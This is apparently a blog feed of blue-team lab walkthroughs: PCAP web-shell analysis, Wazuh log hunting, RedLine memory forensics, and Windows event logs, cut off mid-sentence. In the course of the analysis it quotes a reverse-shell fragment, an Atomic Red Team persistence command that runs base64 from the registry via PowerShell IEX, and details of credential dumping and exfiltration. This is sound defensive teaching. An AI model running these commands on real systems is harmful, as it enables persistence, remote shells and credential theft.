appears a bit further down in the command:\np=subprocess.call([\u0026quot;/bin/sh\u0026quot;,\u0026quot;-i\u0026quot;])\nThis spawns an interactive shell that pipes input and output over that established socket. When we put this together, the answer becomes clearer: the attacker obtains a reverse shell.\nFrom the decoded command, we can also see that the connection is made to port 4422, where the attacker’s listener is waiting.\nSo, the attacker uses an interactive reverse shell, and the connection targets port 4422.\nConclusion: How fun was that! A big thank you to Blue Team Labs Online for another awesome challenge.\nThis week’s investigation was a great deep dive into practical network forensics, giving us a hands‑on look at how attacker activity can be investigated inside raw packet data. From uncovering port scans to tracking reconnaissance tools, spotting a web shell upload, and finally decoding an interactive reverse shell, this challenge showcased how much insight a single PCAP can provide.\nAs we moved through the traffic, we were hot on the attacker’s heels, rebuilding their attack chain. Each question flowed naturally into the next, and the investigation felt steady and logical as we pivoted between Wireshark, NetworkMiner, and CyberChef. It’s always satisfying when a challenge hits that sweet spot where you can validate detections, uncover attacker behavior, and sharpen your forensics instincts all at once. Nice!\nI chose this week’s challenge to keep leveling up my network defense skills and get more reps with Wireshark and NetworkMiner to analyze malicious activity directly at the packet level. Breaking down encoded payloads, recognizing attacker tooling, and uncovering reverse shell behavior never gets old, and this one delivered exactly the kind of structured practice I’m into.\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful — please give it a clap and consider following me! Your feedback is invaluable, and it pumps me up to support your security journey. Remember, cybersecurity is a team sport, and we’re in this together!\nUntil next week’s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://blueteamlabs.online/home/challenge/network-analysis-web-shell-d4d3a2821b\nFlare-VM: https://github.com/mandiant/flare-vm\nWireshark: https://www.wireshark.org/\nNetworkMiner: https://www.netresec.com/?page=NetworkMiner\nNmap — TCP SYN (Stealth) Scan (**-sS**): https://nmap.org/book/synscan.html\nsqlmap: https://sqlmap.org/\ngobuster: https://github.com/OJ/gobuster\nCyberChef: https://gchq.github.io/CyberChef/\nImperva — “Reverse Shell”: https://www.imperva.com/learn/application-security/reverse-shell/\n","date":"2026-03-08T00:00:00Z","image":"/posts/blue-team-labs-online-network-analysis-web-shell-challenge-walkthrough/62fbabd6ba495655625c8790ad15ffcd_MD5.png","permalink":"/posts/blue-team-labs-online-network-analysis-web-shell-challenge-walkthrough/","title":"Blue Team Labs Online  — Network Analysis  - Web Shell Challenge Walkthrough"},{"content":"TryHackMe: Monday Monitor Challenge Room Walkthrough Wazuh SIEM Forensics: Investigating Persistence, Credential Dumping, and Exfiltration with Atomic Red Team. Image Credit: https://tryhackme.com/room/mondaymonitor\nIntroduction: Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the Monday Monitor blue team challenge from TryHackMe, you’re in the right place. This room is all about the investigative side of cyber defense, blending endpoint logging, analyzing SIEM events, with a sprinkle of adversary emulation to keep things interesting.\nIn this challenge, we’re stepping into the role of a cyber sleuth brought in to help Swiftspend Finance level up their security program. Several controlled tests were executed across the environment, and it’s our job to work through the evidence, validate detections, and piece together the full attack chain. Fortunately, we’re given access to their Wazuh SIEM dashboard that’s ingesting Sysmon data from the endpoint. That gives us a rich dataset of process activity, command lines, network connections, and behavioral signals to work with.\nWe’ll be using Wazuh’s security events module, saved searches, field filtering, and a bit of intuition to uncover everything from initial access to credential dumping and exfiltration. Along the way, tools like CyberChef help us decode suspicious payloads, and references to MITRE ATT\u0026amp;CK anchor our analysis in real‑world tactics, techniques, and procedures.\nI’ll walk through each step clearly, and by the end you’ll have a solid sense of how to approach similar detection‑driven investigations using Wazuh. Sounds like fun, right? Let’s go!\nAnd, hey, if you find this walkthrough helpful — whether it levels up your skills, gets you over a stumbling block, or just serves as a handy reference — please consider following me to get more content like this.\nThanks for reading and going on this investigation with me!\nChallenge Scenario: Swiftspend Finance, the coolest fintech company in town, is on a mission to level up its cyber security game to keep those digital adversaries at bay and ensure their customers stay safe and sound.\nLed by the tech-savvy Senior Security Engineer John Sterling, Swiftspend’s latest project is about beefing up their endpoint monitoring using Wazuh and Sysmon. They’ve been running some tests to see how well their cyber guardians can sniff out trouble. And guess what? You’re the cyber sleuth they’ve called in to crack the code!\nThe tests were run on Apr 29, 2024, between 12:00:00 and 20:00:00. As you dive into the logs, you’ll look for any suspicious process shenanigans or weird network connections, you name it! Your mission? Unravel the mysteries within the logs and dish out some epic insights to fine-tune Swiftspend’s defences.\nQuestion 1: Initial access was established using a downloaded file. What is the file name saved on the host? For this room, we’re all about Wazuh, the open source security information event management (SIEM) platform. Swiftspend Finance recently paired Sysmon on the endpoint with Wazuh for centralized security monitoring. Let’s get into these logs and see what we can find.\nTo get started, launch the provided virtual machine and connect to the Wazuh dashboard in your web browser using the URL from the challenge. Once you’re logged in, navigate to the Security events module by selecting its icon on the dashboard.\nWazuh: Navigating to the Security events\nNext, load the saved query Monday_Monitor to pull up the relevant logs for this challenge.\nWazuh: Loading the Monday_Monitor saved query\nOnce the query loads, we need to set the correct time window for when the security engineering team ran the tests. According to the challenge scenario:\nThe tests were run on Apr 29, 2024, between 12:00:00 and 20:00:00.\nAfter clicking the Show dates button, set the time range options to Absolute and select the correct start and end timestamps.\nWazuh: Setting the date/time\nWith the groundwork complete, we can finally start digging into data that falls within the scope of the test.\nWazuh: Setup completed\nTo answer Question 1, we need to identify the downloaded file used for initial access. Since this is a controlled red team test conducted by Swiftspend’s Security Engineering team, and not a typical scenario where a user accidentally downloads and executing a malicious file, our first move is to explore the built‑in detection rules.\nClick the + Add Filter button beneath the search bar. For filtering, set the field to rule.description with the operator is. In the value dropdown, look through what detection rules triggered during the test. Here, the Microsoft Office Product Spawning PowerShell rule stands out as a likely indicator that a malicious document might have established the initial access.\nWazuh: Filtering Microsoft Office Product Spawning Windows shell rule.descriptions\nBefore we dig further, let’s make the results easier to read. From the available fields on the left, add data.win.eventdata.commandLine to the selected fields. This lets us view process command lines without expanding individual records. With this in place, we can focus on events where Office spawned PowerShell and quickly see what each command executed.\nNow we’ve got the right query, the right timing, the correct rule filter, and the process command line displayed. The last step is to identify download activity that reveals the file name. To do that, search for HTTP in the search box.\nWazuh: Searching for HTTP events to identify the downloaded file used for initial access\nPerfect. This narrows the results down to two hits showing that powershell.exe downloaded SwiftSpend_Financial_Expenses.xlsm.\nQuestions 2 \u0026amp; 3: What is the full command run to create a scheduled task? What time is the scheduled task meant to run? Our next tasks are to identify scheduled task creation and determine when that task is scheduled to run. This is important because creating a scheduled task is a common persistence technique, and spotting these entries in Wazuh gives us a strong signal that the test is attempting to plant something on the host. Let’s get to work!\nFirst, Clear the rule.description filter we added in Question 1. To keep things simple, use the search field to look for schtasks.exe, the command‑line tool used to “create, delete, query, change, run, and end scheduled tasks on a local or remote computer”.\nThis search returns four results, and in the command line we can clearly see that schtasks.exe is being used to create a new scheduled task. Copying that full line gives us the answer to Question 2:\nWazuh: Identifying schtasks.exe activity\n\u0026quot;cmd.exe\u0026quot; /c \u0026quot;reg add HKCU\\SOFTWARE\\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyB3d3cueW91YXJldnVsbmVyYWJsZS50aG0= /f \u0026amp; schtasks.exe /Create /F /TN \u0026quot;ATOMIC-T1053.005\u0026quot; /TR \u0026quot;cmd /c start /min \\\u0026quot;\\\u0026quot; powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\\\SOFTWARE\\\\ATOMIC-T1053.005).test)))\u0026quot; /sc daily /st 12:34\u0026quot;\nAnd conveniently nestled within this same command is the answer to Question 3. The /st argument specifies the scheduled time, and here it’s set to: 12:34.\nThis command line also hints at the tooling behind the test: Atomic Red Team. We can see the test path ATOMIC-T1053.005, which maps to the MITRE ATT\u0026amp;CK technique T1053.005 Scheduled Task/Job: Scheduled Task. Atomic tests like this are often used to validate detections, which fits perfectly with Swiftspend’s testing scenario.\nQuestion 4: What was encoded? Next up, we need to figure out the contents of the encoded string we saw in the previous command. In addition to creating a scheduled task, the command also adds a registry value named test under the key HKCU\\SOFTWARE\\ATOMIC-T1053.005. That value is stored as a REG_SZ string:\ncGluZyB3d3cueW91YXJldnVsbmVyYWJsZS50aG0=\nWazuh: Identifying a Base64 encoded string in the command line\nLater in the command, we see PowerShell calling FromBase64String, which tells us the value stored in the registry is Base64 encoded. So now we have the encoded string and the method used to decode it. All we need to do is decode the Base64 manually to uncover the actual payload.\nOne easy option is to copy the encoded string and paste it into CyberChef, the popular web‑based data manipulation tool. Once the string is in the input field, apply the From Base64 operation, and let CyberChef do its thing.\nCyberChef: Decoding the Base64 encoded string\nVoila! The decoded value reveals a simple ping command pointed at an external website, likely used as a heartbeat to test whether the host has outbound network connectivity: A nice find tucked away in the registry.\nQuestion 5: What password was set for the new user account? Moving right along, we’re now looking for evidence of a user account being created or modified, specifically, the password that was set for that account. No problem!\nFrom the earlier questions, we already know the Atomic Red Team tests are relying on PowerShell to execute their activities. Let’s follow that thread and switch our filter from schtasks.exe to powershell.exe.\nWith this filter applied, we get a higher‑level view of all commands executed by PowerShell in the data.win.eventdata.commandLine field. While this is valuable context, we don’t need everything just yet. We only need the entry where a user account’s password is set.\nScroll through the results and you’ll stumble across a line showing PowerShell spawning the classic [net user](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/net-user) command to modify Windows user accounts.\nWazuh: Identifying modification of the guest account\nIn this case, we see the guest account being updated, and its password is set to: I_AM_M0NIT0R1NG\nQuestion 6: What is the name of the .exe that was used to dump credentials? To answer Question 6, we need to identify the executable used to dump credentials on the device. With the powershell.exe filter still applied from the last question, you might’ve noticed several suspicious entries mixed in with the command output. A couple of minutes after the modification of the guest account, we stumble across something especially interesting: a command that references an output file named lsass.dmp.\nWazuh: Identifying OS Credential Dumping activity\nBefore we dive into the executable itself, let’s review why LSASS is such a high‑value target. According to Microsoft Learn, LSASS, or the Local Security Authority Subsystem Service:\nStores credentials in memory on behalf of users with active Windows sessions. The stored credentials let users seamlessly access network resources, such as file shares, Exchange Server mailboxes, and SharePoint sites, without reentering their credentials for each remote service.\nLSASS can store credentials in multiple forms, including:\nReversibly encrypted plaintext.\nKerberos tickets (ticket-granting tickets (TGTs), service tickets).\nNT hash.\nLAN Manager (LM) hash.\nReexamining the command in the logs, we see that the Atomic Red Team test executed an executable named: memotech.exe\nThis binary is responsible for generating the lsass.dmp file. And if the command line hasn’t already given it away, memotech.exe looks a whole lot like a disguised version of Mimikatz, an infamous credential dumping tool frequently used in both red team simulations and real‑world attacks.\nQuestion 7: Data was exfiltrated from the host. What was the flag that was part of the data? Our final challenge is to identify the command used for data exfiltration and locate the classic TryHackMe flag hidden inside the exfiltrated content. We’ll keep the powershell.exe filter applied from the previous questions so we can stay focused on the Atomic Red Team activity.\nScrolling through the remaining entries in the testing data, we’re looking for a command that clearly suggests data exfiltration. We stumble into it as a newer result in the logs. The main giveaway (aside from the flag itself) is the structure of the command. It includes a URL for Pastebin, a commonly abused text‑sharing site attackers use to store exfiltrated data (MITRE ATT\u0026amp;CK T1567.003.)\nWazuh: The content of the data exfiltration command\nReading through the full command, we find the outbound request that sends content directly to Pastebin. Embedded inside that transmitted data is the TryHackMe flag we’re looking for.\nWith that, we’ve wrapped up our investigation into the security engineering team’s Atomic Red Team tests. Nice work crossing the finish line!\nConclusion: How fun was that! A big thank you to TryHackMe for another awesome challenge.\nThis walkthrough was a great example of how endpoint visibility can make or break an investigation. By combining Wazuh and Sysmon, we were able to trace an entire attack simulation chain from initial access to persistence, credential dumping, and data exfiltration. It highlighted endpoint monitoring and visibility is such a critical part of any defensive strategy.\nAs we moved through each question, we didn’t just follow the attacker’s activity. We also built a deeper understanding of how Wazuh presents data, how filtering and field selection guide analysis, and how small artifacts like encoded registry entries or scheduled task configurations can reveal much bigger things happening behind the scenes. Challenges like this are rewarding because each step builds naturally into the next, and the investigation feels both logical and engaging.\nI chose this week’s challenge because even though I’m familiar with other SIEM platforms, I’d never actually used Wazuh. This was a great chance to learn the platform by testing it against an attack simulation and seeing how it handles real adversary techniques. It’s always satisfying when a controlled test lines up neatly with real‑world tradecraft, and Atomic Red Team makes that possible in such a clean and structured way. All in all, it was solid exposure to some new tooling and a good opportunity to get hands‑on time investigating activity inside a new SIEM environment.\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful — please give it a clap and consider following me! Your feedback is invaluable, and it pumps me up to support your security journey. Remember, cybersecurity is a team sport, and we’re in this together!\nUntil next week’s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://tryhackme.com/room/mondaymonitor\nWazuh: https://wazuh.com/\nMicrosoft Learn — Schtasks.exe: https://learn.microsoft.com/en-us/windows/win32/taskschd/schtasks\nAtomic Red Team GitHub: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/Indexes/Indexes-Markdown/index.md\nCyberChef: https://gchq.github.io/CyberChef/\nMicrosoft Learn — net user: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/net-user\nMITRE ATT\u0026amp;CK — OS Credential Dumping: LSASS Memory (T1003.001): https://attack.mitre.org/techniques/T1003/001/\nMITRE ATT\u0026amp;CK — Mimikatz (S0002): https://attack.mitre.org/software/S0002/\nMITRE ATT\u0026amp;CK — Exfiltration Over Web Service: Exfiltration to Text Storage Sites (T1567.003): https://attack.mitre.org/techniques/T1567/003/\n","date":"2026-03-02T00:00:00Z","image":"/posts/tryhackme-monday-monitor-challenge-room-walkthrough/ac8d3265c9513d3eba7443eb8b3db88d_MD5.png","permalink":"/posts/tryhackme-monday-monitor-challenge-room-walkthrough/","title":"TryHackMe  —  Monday Monitor Challenge Room Walkthrough"},{"content":"CyberDefenders: RedLine Lab Walkthrough Volatile Memory Forensics: Tracking Malware Execution, Suspicious Processes, and Attacker Infrastructure with Volatility 3 \u0026amp; REMnux Image Credit: https://cyberdefenders.org/blueteam-ctf-challenges/redline/\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog while hunting for a comprehensive guide to the RedLine Lab challenge from CyberDefenders, you\u0026rsquo;re in the right place. If you\u0026rsquo;ve ever wanted to dip your toes into the world of memory forensics, this beginner-friendly challenge is a great place to start.\nThis lab drops us into an investigation where the only evidence we have is a memory dump. No disk image, no full forensic suite waiting for us. Just one volatile snapshot packed with clues about what happened, which malware was involved, and how the attacker moved through the system. Our job is to explore these threads, make sense of the artifacts, and understand the story. Don\u0026rsquo;t worry if you\u0026rsquo;re new to this topic. I\u0026rsquo;ll share plenty of resources that you can dig into during or after your own analysis.\nBut even with solid references, good tools make all the difference. For this walkthrough, we\u0026rsquo;ll rely primarily on Volatility, the popular memory forensics framework that makes analyzing memory dumps feel far more manageable. Once you get comfortable with it, you\u0026rsquo;ll see just how much information a single memory dump can reveal.\nSo, whether you\u0026rsquo;re brand-new to memory forensics or you\u0026rsquo;re just sharpening your investigative skills, this is a fantastic challenge to tackle. Let\u0026rsquo;s go!\nAnd, hey, if you find this walkthrough helpful — whether it levels up your skills, gets you over a stumbling block, or just serves as a handy reference — please consider following me to get more content like this.\nThanks for reading and going on this investigation with me!\nChallenge Scenario: As a member of the Security Blue team, your assignment is to analyze a memory dump using Redline and Volatility tools. Your goal is to trace the steps taken by the attacker on the compromised machine and determine how they managed to bypass the Network Intrusion Detection System (NIDS). Your investigation will identify the specific malware family employed in the attack and its characteristics. Additionally, your task is to identify and mitigate any traces or footprints left by the attacker.\nSetup the Analysis Environment \u0026amp; Extract the Challenge File: Safety first! When working with lab/challenge files from CyberDefenders (or any educational lab/challenge/range), it\u0026rsquo;s important to be responsible and stay safe by interacting with potentially malicious files in a dedicated, isolated virtual machine environment. For this challenge I\u0026rsquo;m using REMnux, a specialized Linux distribution for malware analysis.\nTo keep this write-up focused, I\u0026rsquo;m going to skip step-by-step setup directions of REMnux, but if you\u0026rsquo;d like to set up your own environment, please follow the guide provided by REMnux directly. For reference, I used the virtual appliance method:\nGet the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into\u0026hellip;_docs.remnux.org\nOnce you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!\nQuestion 1: What is the name of the suspicious process? Let\u0026rsquo;s kick off this investigation by unzipping the challenge file, 106-RedLine.zip, which contains the artifact we\u0026rsquo;ll be examining: MemoryDump.mem.\nYou might be asking yourself what a .mem file actually is and how to read it. That\u0026rsquo;s exactly the point of this challenge. A .mem file is a raw memory dump of a system and captures a snapshot of its RAM at a specific point in time. This kind of image is a rich forensic artifact that lets us dig into evidence like processes and network activity, among other things.\nTo explore it, we\u0026rsquo;ll use Volatility 3, the modern version of the popular memory forensics framework described as \u0026ldquo;the world\u0026rsquo;s most widely used framework for extracting digital artifacts from volatile memory (RAM) samples.\u0026ldquo;I\u0026rsquo;ll simply refer to Volatility from this point forward. If you\u0026rsquo;re working in REMnux, Volatility is already included, so you\u0026rsquo;re good to go.\nTo start answering Question 1, we need to identify a suspicious process running on the compromised host. A pro tip to get familiar with available modules in Volatility is to check the built-in help:\nvol3 -h\nFor this challenge, we\u0026rsquo;ll focus on the Windows modules. A reliable starting point for reviewing running processes is windows.pslist:\nwindows.pslist.PsList Lists the processes present in a particular windows memory image.\nLet\u0026rsquo;s give it a try:\nvol3 -f MemoryDump.mem windows.pslist\nOnce the output loads, we can start examining the process list. Depending on your experience with Windows internals, some entries might look unfamiliar. If you\u0026rsquo;re unsure which processes are normal or benign, a solid reference is the SANS Hunt Evil cheat sheet, which helps you quickly zero in on anomalous activity.\nHunt Evil _Knowing what\u0026rsquo;s normal on a Windows host helps cut through the noise to quickly locate potential malware. Use the\u0026hellip;_www.sans.org\nBack to the results: a few entries stand out as unusual, including Outline.exe, tun2socks.exe, and oneetx.exe. Of these, oneetx.exe (PID 5896) draws the most attention because of its unusually high thread count compared to the other odd ones.\nVolatility 3: Identifying a suspicious process with windows.pslist\nSo, let\u0026rsquo;s take a quick detour to Google and dig into this binary name. Our search quickly leads us to an excellent post from Stormshield titled \u0026quot; # \u0026quot;\nRedLine malware: from a Chrome extension to a large-scale malware campaign.\u0026rdquo; It associates oneetx.exe with the RedLine malware family, which also happens to be the name of this challenge. A pretty clear indicator that we\u0026rsquo;ve found our suspicious process.\nQuestion 2: What is the child process name of the suspicious process? Now that we\u0026rsquo;ve identified the suspicious process and its associated process ID (PID), we can refine our search to uncover any child processes spawned by oneetx.exe (PID 5896). To do that, we look for processes with a parent process ID (PPID) of 5896. A simple way to approach this is to run Volatility\u0026lsquo;s windows.pslist module again, but this time pipe the output through grep to display only entries containing 5896.\nvol3 -f MemoryDump.mem windows.pslist | grep 5896\nVolatility 3: Using windows.pslist and grep to isolate parent and child processes\nUsing grep helps us isolate both the parent process and its child. In this case, we discover that rundll32.exe appears as a child process because its PPID matches the PID of oneetx.exe. With that connection established, we now have an additional process earmarked as we move deeper into this challenge.\nQuestion 3: What is the memory protection applied to the suspicious process memory region? Next up, we need to figure out what memory protection is applied to the memory region used by oneetx.exe. That might sound a little intimidating at first, but we can lean on another Volatility 3 module to handle the heavy lifting for us: malfind.\nwindows.malfind.Malfind Lists process memory ranges that potentially contain injected code.\nCommand Reference Mal _An advanced memory forensics framework. Contribute to volatilityfoundation/volatility development by creating an\u0026hellip;_github.com\nThe malfind module helps identify \u0026ldquo;hidden or injected code/DLLs in user-mode memory\u0026rdquo;, which makes it especially useful when we\u0026rsquo;re dealing with malware. For this challenge, all we need to do is specify the PID of oneetx.exe (5896):\nvol3 -f MemoryDump.mem windows.malfind \u0026ndash;pid 5896\nVolatility 3: Identifying memory protection using windows.malfind\nOnce the output loads, look for the VadS Protection field. This tag displays the memory protection applied to the suspicious region, and it often reveals suspicious execution permissions like PAGE_EXECUTE_READWRITE.\nQuestion 4: What is the name of the process responsible for the VPN connection? Our next task is to search for a process that\u0026rsquo;s responsible for a VPN connection. Let\u0026rsquo;s head back into Volatility\u0026lsquo;s windows.pslist output and look for anything that hints at tunneling or proxying behavior indicating VPN usage.\nVolatility 3: Identifying a potential tunneling process\nWhile reviewing the process list, you might remember that back in Question 1 we stumbled across a few unusual entries. One of them immediately stood out as something that might support a tunneled connection: tun2socks.exe.\nTo dig a little deeper, it helps to check out the project\u0026rsquo;s GitHub page, which describes tun2socks as a tool built on the gVisor TCP/IP stack. Its listed features include universal proxying and support for multiple protocols such as HTTP, SOCKS, Shadowsocks, and SSH. Putting this all together strongly suggests it\u0026rsquo;s involved with a VPN connection, which lines up with what we\u0026rsquo;re hunting for.\nGitHub - xjasonlyu/tun2socks: tun2socks - powered by gVisor TCP/IP stack _tun2socks - powered by gVisor TCP/IP stack. Contribute to xjasonlyu/tun2socks development by creating an account on\u0026hellip;_github.com\nNow that we know tun2socks.exe looks promising, let\u0026rsquo;s determine which process launched it. We already have its parent process ID (PPID 6724), so we can use grep again to quickly determine the related parent process:\nvol3 -f MemoryDump.mem windows.pslist | grep \u0026ldquo;6724\u0026rdquo;\nAh-ha! By matching the PPID, we discover that Outline.exe is the parent process. This suggests that Outline.exe is the process responsible for the VPN connection, with tun2socks.exe acting as the tunneling component. With a quick Google search, we can confirm that Outline VPN is indeed legitimate software used to create VPN servers. I think we\u0026rsquo;ve gotten our answer, folks.\nQuestion 5: What is the attacker\u0026rsquo;s IP address? All right, now that we know Outline.exe is responsible for handling the VPN connection, it\u0026rsquo;s time to shift our focus to the network artifacts captured in the memory dump. The goal is to determine whether any of the executables we\u0026rsquo;ve identified so far show evidence of external communication, starting with oneetx.exe, the malicious process we tracked down in Question 1.\nTo do this, we can use Volatility\u0026lsquo;s windows.netscan module, which scans the memory image for network objects such as TCP connections. Once again, we\u0026rsquo;ll pair this with grep to dial-in on entries tied to oneetx.exe.\nwindows.netscan.NetScan Scans for network objects present in a particular windows memory image.\nHere\u0026rsquo;s the combined command:\nvol3 -f MemoryDump.mem windows.netscan | grep \u0026ldquo;oneetx.exe\u0026rdquo;\nBingo! The output reveals an external IP address associated with this process. Our next step is enrichment, so let\u0026rsquo;s pivot to threat intelligence and search for the IP in VirusTotal:\nhttps://www.virustotal.com/gui/ip-address/77.91.124.20\nRight away, we can see that this IP address is linked to activity associated with RedLine malware, confirming that we\u0026rsquo;ve identified the attacker\u0026rsquo;s IP address.\nQuestion 6: What is the full URL of the PHP file that the attacker visited? Well, we already have the attacker\u0026rsquo;s IP address, so why don\u0026rsquo;t we take this a step further and see if we can uncover any URL activity connected to it? One quick way to do this is to run a simple strings search against the memory dump. Since memory images often contain human-readable fragments of URLs, commands, and other artifacts, this might reveal some new information.\nFrom the terminal, we can use the strings utility and pipe the results through grep to isolate only the results that contain the attacker\u0026rsquo;s IP address:\nstrings MemoryDump.mem | grep \u0026ldquo;77.91.124.20\u0026rdquo;\nUsing strings \u0026amp; grep to identify URLs\nFrom the output, we\u0026rsquo;ll notice several interesting artifacts, including a full URL that points to index.php. That\u0026rsquo;s exactly what we need to answer this question!\nQuestion 7: What is the full path of the malicious executable? Our last objective is to determine the full file path of the malicious oneetx.exe executable on disk. We can approach this question the same way we handled the previous one: by running a strings search against the memory dump. This time, instead of looking for an IP address, we\u0026rsquo;ll use strings and pipe the results through two grep filters. One looks for the name of the malicious binary (oneetx.exe) and the other searches for the drive label C: since we know we\u0026rsquo;re working with a Windows system.\nstrings MemoryDump.mem | grep \u0026ldquo;oneetx.exe\u0026rdquo; | grep C:\nUsing strings to identify the malware file path\nNice. The output gives us a clean file path for the oneetx.exe binary, and it points to the AppData\\Local\\Temp directory. This location often shows up during malware investigations, since it\u0026rsquo;s a common staging area that attackers abuse for downloading, unpacking, or executing payloads. Now that we\u0026rsquo;ve double-grepped our way through the last question and solved the full set, it\u0026rsquo;s time to wrap up this investigation.\nConclusion: How fun was that! A big thank you to CyberDefenders for another awesome challenge.\nThis one was another fantastic addition to their catalog, with a tight focus on volatile memory analysis and a beginner-friendly opportunity to get comfortable with the Volatility modules that help uncover meaningful artifacts. Piece by piece, we worked through the investigation, identified and researched a suspicious process, enriched it with threat intelligence, and built a clear picture of the attacker\u0026rsquo;s command-and-control activity and the malware involved.\nI picked this week\u0026rsquo;s challenge because I wanted to brush up on Volatility. It\u0026rsquo;s not a tool I use every single day, but it\u0026rsquo;s always worth staying sharp and adding a few new tricks to your notebook. You never know when you\u0026rsquo;ll need them. And honestly, there\u0026rsquo;s something really rewarding about reconstructing an attack from a single forensic artifact. It\u0026rsquo;s a great reminder of just how powerful memory analysis can be when it comes to uncovering malicious behavior. Fun times!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful: please give it a clap and consider following me! Your feedback is invaluable, and it pumps me up to support your security journey. Remember, cybersecurity is a team sport, and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://cyberdefenders.org/blueteam-ctf-challenges/redline/\nREMnux: https://remnux.org/\nVolatility Foundation: https://volatilityfoundation.org/\nGitHub — Volatility 3: https://github.com/volatilityfoundation/volatility3\nSANS Hunt Evil Poster: https://www.sans.org/posters/hunt-evil\nStormshield — \u0026quot; # \u0026ldquo;RedLine malware: from a Chrome extension to a large-scale malware campaign\u0026rdquo;: https://www.stormshield.com/news/malware-redline-chrome-extension-large-scale-malware-campaign/\nVolatility Command Reference: https://github.com/volatilityfoundation/volatility/wiki/command-reference\nVolatility Command Reference Mal: https://github.com/volatilityfoundation/volatility/wiki/Command-Reference-Mal\nGitHub — Tun2Socks: https://github.com/xjasonlyu/tun2socks\nVirusTotal — C2 IP: https://www.virustotal.com/gui/ip-address/77.91.124.20\n","date":"2026-02-16T00:00:00Z","image":"/posts/cyberdefenders-redline-lab-walkthrough/d2b4aacba14ce116894523ea6fa64cf9_MD5.png","permalink":"/posts/cyberdefenders-redline-lab-walkthrough/","title":"CyberDefenders — RedLine Lab Walkthrough"},{"content":"HackTheBox — LogJammer Sherlock Walkthrough Windows Event Log Forensics: Investigating Persistence, Malware, and Log Tampering with Event Log Explorer \u0026amp; FLARE‑VM. Image Credit: https://app.hackthebox.com/sherlocks/LogJammer\nIntroduction: Welcome back to another weekly walkthrough! If you’ve stumbled across this blog while searching for a comprehensive guide to the LogJammer Sherlock challenge from Hack The Box, you’re in the right place.\nThis is the seventh challenge in the Intro to Blue Team track, but you can jump in at any point. If you’re following along or you’re a completionist, check out my write-up of the previous free challenge — Meerkat:\nHackTheBox | Meerkat | Sherlock Walkthrough\nChallenge Scenario: You have been presented with the opportunity to work as a junior DFIR consultant for a big consultancy. However, they have provided a technical assessment for you to complete. The consultancy Forela-Security would like to gauge your Windows Event Log Analysis knowledge. We believe the Cyberjunkie user logged in to his computer and may have taken malicious actions. Please analyze the given event logs and report back.\nThis challenge is all about Windows Event Log Analysis and leans heavily on choosing the correct log, filtering for specific event IDs, and weaving together activity across multiple logs. It’s up to us to meet the moment and show off our event log analysis skills. Don’t worry if you’re new to this topic — I’ll link plenty of helpful resources that you can use in your own investigations.\nBut having great references is only half the battle. We also need solid tools. For this walkthrough, we’ll rely primarily on Event Log Explorer, a tool that makes filtering, pivoting, and correlating events far faster than using the built‑in Windows Event Viewer. It’s a huge timesaver when you’re staring down thousands of log entries.\nSo, whether you’re new to Windows endpoint forensics or you just want to sharpen your analysis skills, this is a fantastic challenge to tackle. Let’s go!\nAnd, hey, if you find this walkthrough helpful — whether it levels up your skills, gets you over a stumbling block, or just serves as a handy reference — please consider following me to get more content like this.\nThanks for reading and going on this investigation with me!\nSetup the Analysis Environment \u0026amp; Extract the Challenge File: Safety first! It’s always important when working with lab/challenge files from Hack the Box (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. As this is a Windows-based challenge, I’m using FLARE-VM for this challenge which is “a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).”\nTo keep this write-up focused I’m going to skip the step-by-step setup of FLARE-VM but _i_f you’d like to set up your own environment, please follow the directions provided directly by FLARE-VM on GitHub.\nGitHub — mandiant/flare-vm: A collection of software installations scripts for Windows systems that… _A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com\nOnce you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!\nQuestion 1: When did the cyberjunkie user first successfully log into his computer? (UTC) Now that we’ve gotten our analysis environment all set up, let’s kick off this investigation by extracting the challenge file and taking a look at the available artifacts.\nOverview of the challenge artifacts\nWe have five Event Logs available in this challenge, each providing different insights:\nPowershell‑Operational.evtx: This event log contains “details about PowerShell operations, such as starting and stopping the engine and providers, and executing PowerShell commands.” Security.evtx: This event log contains “logs related to logins, privileges, and other similar events.” System.evtx: This event log contains “logs created by the operating system.” Windows Defender‑Operational.evtx: This event log contains logs related to Microsoft Defender Antivirus operational and malware‑related events. Windows Firewall‑Firewall.evtx: This event log contains events related to the Windows Firewall with Advanced Security, including rule additions, modifications, and deletions. Now that we understand what we’re working with, we can identify the correct log to answer Question 1. Since we’re searching for a sign‑in event, we’ll work directly in the Security log and filter for Event ID 4624 (\u0026ldquo;An account was successfully logged on\u0026rdquo;).\nYou can absolutely use the built‑in Windows Event Viewer, but there’s a more efficient option: Event Log Explorer. Because Event Log Explorer is already installed in the Flare‑VM analysis environment, that’s what I’ll be using in this walkthrough. I encourage you to try it if you aren’t familiar with it — the filtering features save a surprising amount of time.\nSteps in Event Log Explorer Open Event Log Explorer and load Security.evtx. Click the Filter button and enter 4624 into the Event ID field. To narrow this down further, use Description params → select “New Logon\\Account Name” → operator: contains → value: cyberjunkie. This returns only the successful logons for this user. Sort by time and double‑click the earliest entry. Event Log Explorer: Filtering for 4624 events\nWith the targeted filter in place, we can stumble straight into the events we need without digging through thousands of unrelated entries. Since we’re searching for the first successful login, open the earliest one. From here, there’s one more thing we need: the UTC timestamp.\nDouble-click to open the event. Select the XML tab. Expand the 